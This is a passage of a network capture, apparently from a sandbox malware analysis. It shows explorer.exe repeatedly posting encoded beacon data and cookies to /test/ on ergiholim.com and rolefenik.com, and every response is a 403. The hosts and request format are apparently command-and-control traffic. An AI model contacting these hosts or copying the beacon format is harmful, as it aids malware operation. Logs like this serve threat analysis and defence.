2024-11-13 17:22:33 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50030	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:34 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:34 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:35 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7hNIQVOpAzqNsdNNHBHV%2FvFwndl2u2sxsybbCGkIYB3DP57B2a%2FUze6zFwxiBbdHxdNgf%2BzcrPpucygnzt%2FwCVTd%2FQJKp12ZSyJAIRjgsCNSzimWHxnveGuWll3zKyHu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071d67c24d77c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130451&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22215&cwnd=32&unsent_bytes=0&cid=94ba1ae2536a3aa2&ts=541&x=0"
2024-11-13 17:22:35 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50032	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:35 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:35 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:35 UTC	747	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJKkUz73wRceL473RknB4%2BPgUgX12fygoQM2NXTN00Sysh1fFnIfvhZ3y1ivctuJBd%2Bfv9WX4R1kDx2FjE9WOnbUhNrrn5xMgmn4swu5JpCRDVhhj9vL8vawGopGuXG7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071dd5a64e817-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1137&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=2375717&cwnd=251&unsent_bytes=0&cid=868425edc2d6e922&ts=281&x=0"
2024-11-13 17:22:35 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50033	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:37 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:37 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:37 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMlMh02vCQU%2FlII1ulaV2haT7STWruKNjwRC4%2Fw7%2B9ttYl6wUE%2BKBnt4Y0dyASecOQE%2BdGn6ZNVukm1yUcZjIz4y0hZQd9PQ3qvr%2BvXlURCvSbCvdUkd9VIVaFWKoUrM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071e74f26261d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=159367&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=19117&cwnd=32&unsent_bytes=0&cid=88ab9a15cedb4e4c&ts=836&x=0"
2024-11-13 17:22:37 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50034	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:39 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:39 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:40 UTC	746	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNMlHNXzpfNwQZAx9lMXuoSJ%2BGnRnbXldxWkFOJPK8HQFVAwn8oLiSZ88DDZnMQQ6JIIj0Loy%2BkgZ0qSwm8zWTd0Z1RJGtdl7WOeSqKXNSb2BuyUh1uJbaHLhrP51Yxu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071f82e2ad765-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130920&sent=4&recv=6&lost=0&retrans=1&sent_bytes=2828&recv_bytes=1167&delivery_rate=22214&cwnd=32&unsent_bytes=0&cid=d534c45c318cfaa6&ts=514&x=0"
2024-11-13 17:22:40 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50035	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:41 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:41 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:41 UTC	749	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ENnTiihMrRpFRybnPpJyEoMSGd%2BnF2faMZWuA4G1euuaPmASzKur3lq3B2U1EGNdN97Od1pS1W%2F00Blc5WU76yKXe%2FMU01zUo0RkTKjAQGRbtH11fCjJGvXvHwaIUIzc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071ff4dd42cc2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=1754088&cwnd=237&unsent_bytes=0&cid=80d1d0944f5e918d&ts=493&x=0"
2024-11-13 17:22:41 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50036	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:42 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:42 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:43 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Icly1E73rBXSNTUncto87nreNkMCmzxbo3fAnS6bkdah65AWJdp3pOif6rSeVodUd78RNEp4jcxjHfBCH%2FtkF0UBiqgxXDA0jvn8Fr7KrscghBUjNlchEHJPMNM2r5Pi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072085ba2e367-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=152031&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=18114&cwnd=32&unsent_bytes=0&cid=22fa5661142b8342&ts=744&x=0"
2024-11-13 17:22:43 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50037	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:44 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:44 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:44 UTC	758	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wlGxf%2BGx%2FDm7xhKQsFSkoDUs6HHfZCHK%2BAYx7K9xEnJKoTmMtSXq%2BzJnRwG1wbdDxVPyKnpdD6gov5mv5aZx%2F%2B1q%2F6AMdEZga08auoxynq8nhWRKfcRYIRLwy3sn9y%2F1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207213696650d8-BOD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=114495&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=25300&cwnd=32&unsent_bytes=0&cid=020e660828833674&ts=525&x=0"
2024-11-13 17:22:44 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable 